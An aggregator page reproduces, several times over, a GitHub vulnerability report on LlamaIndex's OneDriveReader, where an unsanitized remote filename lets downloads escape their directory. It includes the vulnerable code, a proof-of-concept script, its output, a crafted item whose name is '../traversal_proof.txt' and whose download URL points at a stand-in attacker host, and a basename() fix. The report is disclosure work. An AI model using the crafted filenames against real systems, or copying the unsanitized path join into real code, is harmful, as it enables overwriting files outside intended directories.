llamaIndex - 💡(How to fix) Fix [Bug]: Path traversal in OneDriveReader: downloaded files may be written outside the specified directory

Official PRs (…)
ON THIS PAGE

Recommended Tools

×6

Utilities matched from this issue’s tags and category — try them while you read without losing context.

GitHub issue graph ai analysis

Paste a GitHub issue URL. We fetch that issue, discover linked issues from bodies/comments/timeline, collect linked pull requests, and produce a structured English report.

The report is written in English Markdown for sharing and archival.

Helpful · Quick feedback

Loading…

_download_file_by_url() in the OneDrive reader does not sanitize the item["name"] field from the Microsoft Graph API response before using it to construct a local file path. When the remote filename contains path traversal sequences (e.g., ../), downloaded files are written outside the intended download directory.

From a user's perspective, calling reader.load_data() should guarantee that all downloaded files land within the designated temporary directory. This invariant is currently broken — a filename like ../test.txt escapes the download boundary.

This is the same pattern as internetarchive CVE-2025-1060 — unsanitized remote metadata used to construct local file paths.

Root Cause

# base.py, line 254-280
def _download_file_by_url(self, item: Dict[str, Any], local_dir: str) -> str:
    file_download_url = item["@microsoft.graph.downloadUrl"]
    file_name = item["name"]                       # ← remote value, no sanitization

    file_data = requests.get(file_download_url)

    file_path = os.path.join(local_dir, file_name) # ← path escape when name contains ../
    with open(file_path, "wb") as f:
        f.write(file_data.content)

    return file_path

When item["name"] is "../test.txt":

Expected: /tmp/downloads/test.txt
Actual:   /tmp/downloads/../test.txt  →  /tmp/test.txt

The file is written one directory above the intended download location. Deeper traversal sequences (../../..) can reach arbitrary paths.

Fix Action

Fix / Workaround

malicious_item = { "name": "../traversal_proof.txt", # ← escapes local_dir "@microsoft.graph.downloadUrl": "http://attacker.example/payload", }

### poc.py
```python
mport os
import sys
import shutil
import tempfile
from unittest.mock import patch, MagicMock
sys.path.insert(0, os.path.join(
    os.path.dirname(__file__),
    "llama_index/llama-index-integrations/readers/llama-index-readers-microsoft-onedrive"
))

print(f"[*] Simulating OneDrive API response with item name: {TRAVERSAL_NAME!r}")
print(f"[*] Local download dir: {LOCAL_DIR}")
print()
reader = OneDriveReader.__new__(OneDriveReader)
with patch("requests.get", return_value=mock_response):
    result_path = reader._download_file_by_url(malicious_item, LOCAL_DIR)

Code Example

# base.py, line 254-280
def _download_file_by_url(self, item: Dict[str, Any], local_dir: str) -> str:
    file_download_url = item["@microsoft.graph.downloadUrl"]
    file_name = item["name"]                       # ← remote value, no sanitization

    file_data = requests.get(file_download_url)

    file_path = os.path.join(local_dir, file_name) # ← path escape when name contains ../
    with open(file_path, "wb") as f:
        f.write(file_data.content)

    return file_path

---

Expected: /tmp/downloads/test.txt
Actual:   /tmp/downloads/../test.txt/tmp/test.txt

---

OneDriveReader.load_data()
_get_downloaded_files_metadata()
_init_download_and_get_metadata()
_connect_download_and_return_metadata()
_check_approved_mimetype_and_download_file()
_download_file_by_url(item, local_dir)  ← sink

---

from llama_index.readers.microsoft_onedrive.base import OneDriveReader

reader = OneDriveReader.__new__(OneDriveReader)

malicious_item = {
    "name": "../traversal_proof.txt",  # ← escapes local_dir
    "@microsoft.graph.downloadUrl": "http://attacker.example/payload",
}

---

mport os
import sys
import shutil
import tempfile
from unittest.mock import patch, MagicMock
sys.path.insert(0, os.path.join(
    os.path.dirname(__file__),
    "llama_index/llama-index-integrations/readers/llama-index-readers-microsoft-onedrive"
))

from llama_index.readers.microsoft_onedrive.base import OneDriveReader

print(f"[*] Imported OneDriveReader from: {OneDriveReader.__module__}")
print(f"[*] Source: {sys.modules[OneDriveReader.__module__].__file__}")
print()
PAYLOAD = b"PWNED-BY-PATH-TRAVERSAL\n"
TRAVERSAL_NAME = "../traversal_proof.txt"

WORK_DIR = tempfile.mkdtemp(prefix="llama_onedrive_poc_")
LOCAL_DIR = os.path.join(WORK_DIR, "downloads")
os.makedirs(LOCAL_DIR)
malicious_item = {
    "name": TRAVERSAL_NAME,
    "@microsoft.graph.downloadUrl": "http://127.0.0.1:19999/malicious_file",
    "id": "fake-id-123",
    "file": {"mimeType": "application/octet-stream"},
    "size": len(PAYLOAD),
}
mock_response = MagicMock()
mock_response.content = PAYLOAD

print(f"[*] Simulating OneDrive API response with item name: {TRAVERSAL_NAME!r}")
print(f"[*] Local download dir: {LOCAL_DIR}")
print()
reader = OneDriveReader.__new__(OneDriveReader)
with patch("requests.get", return_value=mock_response):
    result_path = reader._download_file_by_url(malicious_item, LOCAL_DIR)

print(f"[*] _download_file_by_url returned: {result_path}")
print()
escaped_path = os.path.normpath(os.path.join(LOCAL_DIR, TRAVERSAL_NAME))
in_local_dir = os.path.realpath(escaped_path).startswith(os.path.realpath(LOCAL_DIR) + os.sep)

if os.path.isfile(escaped_path) and open(escaped_path, "rb").read() == PAYLOAD and not in_local_dir:
    print(f"[+] FILE WRITTEN OUTSIDE downloads/")
    print(f"    path:    {escaped_path}")
    print(f"    content: {open(escaped_path, 'rb').read()!r}")
    print(f"    inside local_dir: {in_local_dir}")
    print()
    print("VULNERABLE")
    os.remove(escaped_path)
    shutil.rmtree(WORK_DIR, ignore_errors=True)
    sys.exit(0)
else:
    print("[-] NOT CONFIRMED")
    shutil.rmtree(WORK_DIR, ignore_errors=True)
    sys.exit(1)

---

def _download_file_by_url(self, item: Dict[str, Any], local_dir: str) -> str:
    file_download_url = item["@microsoft.graph.downloadUrl"]
    file_name = os.path.basename(item["name"])  # ensure filename only, no path components

    file_data = requests.get(file_download_url)

    file_path = os.path.join(local_dir, file_name)
    with open(file_path, "wb") as f:
        f.write(file_data.content)

    return file_path

---

[*] Imported OneDriveReader from: llama_index.readers.microsoft_onedrive.base
[*] Source: .../llama-index-readers-microsoft-onedrive/llama_index/readers/microsoft_onedrive/base.py

[*] Simulating OneDrive API response with item name: '../traversal_proof.txt'
[*] Local download dir: /tmp/llama_onedrive_poc_.../downloads

[*] _download_file_by_url returned: /tmp/llama_onedrive_poc_.../downloads/../traversal_proof.txt

[+] FILE WRITTEN OUTSIDE downloads/
    path:    /tmp/llama_onedrive_poc_.../traversal_proof.txt
    content: b'PWNED-BY-PATH-TRAVERSAL\n'
    inside local_dir: False

VULNERABLE
RAW_BUFFERClick to expand / collapse

Bug Description

Summary

_download_file_by_url() in the OneDrive reader does not sanitize the item["name"] field from the Microsoft Graph API response before using it to construct a local file path. When the remote filename contains path traversal sequences (e.g., ../), downloaded files are written outside the intended download directory.

From a user's perspective, calling reader.load_data() should guarantee that all downloaded files land within the designated temporary directory. This invariant is currently broken — a filename like ../test.txt escapes the download boundary.

This is the same pattern as internetarchive CVE-2025-1060 — unsanitized remote metadata used to construct local file paths.

Affected Component

  • Repository: https://github.com/run-llama/llama_index
  • Package: llama-index-readers-microsoft-onedrive 0.5.0
  • File: llama_index/readers/microsoft_onedrive/base.py
  • Function: _download_file_by_url() (line 254-280)
  • Sink: os.path.join(local_dir, file_name)open(file_path, "wb") (line 276-278)
  • Version: Latest (0.5.0 as of audit date)

Root Cause

# base.py, line 254-280
def _download_file_by_url(self, item: Dict[str, Any], local_dir: str) -> str:
    file_download_url = item["@microsoft.graph.downloadUrl"]
    file_name = item["name"]                       # ← remote value, no sanitization

    file_data = requests.get(file_download_url)

    file_path = os.path.join(local_dir, file_name) # ← path escape when name contains ../
    with open(file_path, "wb") as f:
        f.write(file_data.content)

    return file_path

When item["name"] is "../test.txt":

Expected: /tmp/downloads/test.txt
Actual:   /tmp/downloads/../test.txt  →  /tmp/test.txt

The file is written one directory above the intended download location. Deeper traversal sequences (../../..) can reach arbitrary paths.

Call chain from public API

OneDriveReader.load_data()
  → _get_downloaded_files_metadata()
    → _init_download_and_get_metadata()
      → _connect_download_and_return_metadata()
        → _check_approved_mimetype_and_download_file()
          → _download_file_by_url(item, local_dir)  ← sink

Version

v0.14.22

Steps to Reproduce

Proof of Concept

Environment

ComponentDetail
Packagellama-index-readers-microsoft-onedrive 0.5.0
Python3.12
Installpip install -e from git clone (true install)
AttackDirect call to _download_file_by_url() with crafted item

Exploit

from llama_index.readers.microsoft_onedrive.base import OneDriveReader

reader = OneDriveReader.__new__(OneDriveReader)

malicious_item = {
    "name": "../traversal_proof.txt",  # ← escapes local_dir
    "@microsoft.graph.downloadUrl": "http://attacker.example/payload",
}

poc.py

mport os
import sys
import shutil
import tempfile
from unittest.mock import patch, MagicMock
sys.path.insert(0, os.path.join(
    os.path.dirname(__file__),
    "llama_index/llama-index-integrations/readers/llama-index-readers-microsoft-onedrive"
))

from llama_index.readers.microsoft_onedrive.base import OneDriveReader

print(f"[*] Imported OneDriveReader from: {OneDriveReader.__module__}")
print(f"[*] Source: {sys.modules[OneDriveReader.__module__].__file__}")
print()
PAYLOAD = b"PWNED-BY-PATH-TRAVERSAL\n"
TRAVERSAL_NAME = "../traversal_proof.txt"

WORK_DIR = tempfile.mkdtemp(prefix="llama_onedrive_poc_")
LOCAL_DIR = os.path.join(WORK_DIR, "downloads")
os.makedirs(LOCAL_DIR)
malicious_item = {
    "name": TRAVERSAL_NAME,
    "@microsoft.graph.downloadUrl": "http://127.0.0.1:19999/malicious_file",
    "id": "fake-id-123",
    "file": {"mimeType": "application/octet-stream"},
    "size": len(PAYLOAD),
}
mock_response = MagicMock()
mock_response.content = PAYLOAD

print(f"[*] Simulating OneDrive API response with item name: {TRAVERSAL_NAME!r}")
print(f"[*] Local download dir: {LOCAL_DIR}")
print()
reader = OneDriveReader.__new__(OneDriveReader)
with patch("requests.get", return_value=mock_response):
    result_path = reader._download_file_by_url(malicious_item, LOCAL_DIR)

print(f"[*] _download_file_by_url returned: {result_path}")
print()
escaped_path = os.path.normpath(os.path.join(LOCAL_DIR, TRAVERSAL_NAME))
in_local_dir = os.path.realpath(escaped_path).startswith(os.path.realpath(LOCAL_DIR) + os.sep)

if os.path.isfile(escaped_path) and open(escaped_path, "rb").read() == PAYLOAD and not in_local_dir:
    print(f"[+] FILE WRITTEN OUTSIDE downloads/")
    print(f"    path:    {escaped_path}")
    print(f"    content: {open(escaped_path, 'rb').read()!r}")
    print(f"    inside local_dir: {in_local_dir}")
    print()
    print("VULNERABLE")
    os.remove(escaped_path)
    shutil.rmtree(WORK_DIR, ignore_errors=True)
    sys.exit(0)
else:
    print("[-] NOT CONFIRMED")
    shutil.rmtree(WORK_DIR, ignore_errors=True)
    sys.exit(1)

PoC output

<img width="2012" height="428" alt="Image" src="https://github.com/user-attachments/assets/86e9a57f-c167-45cb-b3b8-8013bdafb94e" />

Suggested Fix

Strip directory components from the filename to ensure downloads remain within the target directory:

def _download_file_by_url(self, item: Dict[str, Any], local_dir: str) -> str:
    file_download_url = item["@microsoft.graph.downloadUrl"]
    file_name = os.path.basename(item["name"])  # ensure filename only, no path components

    file_data = requests.get(file_download_url)

    file_path = os.path.join(local_dir, file_name)
    with open(file_path, "wb") as f:
        f.write(file_data.content)

    return file_path

Relevant Logs/Tracebacks

[*] Imported OneDriveReader from: llama_index.readers.microsoft_onedrive.base
[*] Source: .../llama-index-readers-microsoft-onedrive/llama_index/readers/microsoft_onedrive/base.py

[*] Simulating OneDrive API response with item name: '../traversal_proof.txt'
[*] Local download dir: /tmp/llama_onedrive_poc_.../downloads

[*] _download_file_by_url returned: /tmp/llama_onedrive_poc_.../downloads/../traversal_proof.txt

[+] FILE WRITTEN OUTSIDE downloads/
    path:    /tmp/llama_onedrive_poc_.../traversal_proof.txt
    content: b'PWNED-BY-PATH-TRAVERSAL\n'
    inside local_dir: False

VULNERABLE

Vote matrix · Quick signals

Works
Did the solution work? Tap to confirm.
Easy Fix
Was it a quick fix?
Time Saver
Did it save you time?
Blocking
Was it severely blocking?
Common Issue
Are others likely hitting this too?
Flaky / Intermittent
Is it intermittent?
Verified / Reproducible
Can you reproduce it reliably?
Loading…

Still need to ship something?

×6

Another batch ranked right after the header list — different links, same matching logic.

Back to top recommendations

TRENDING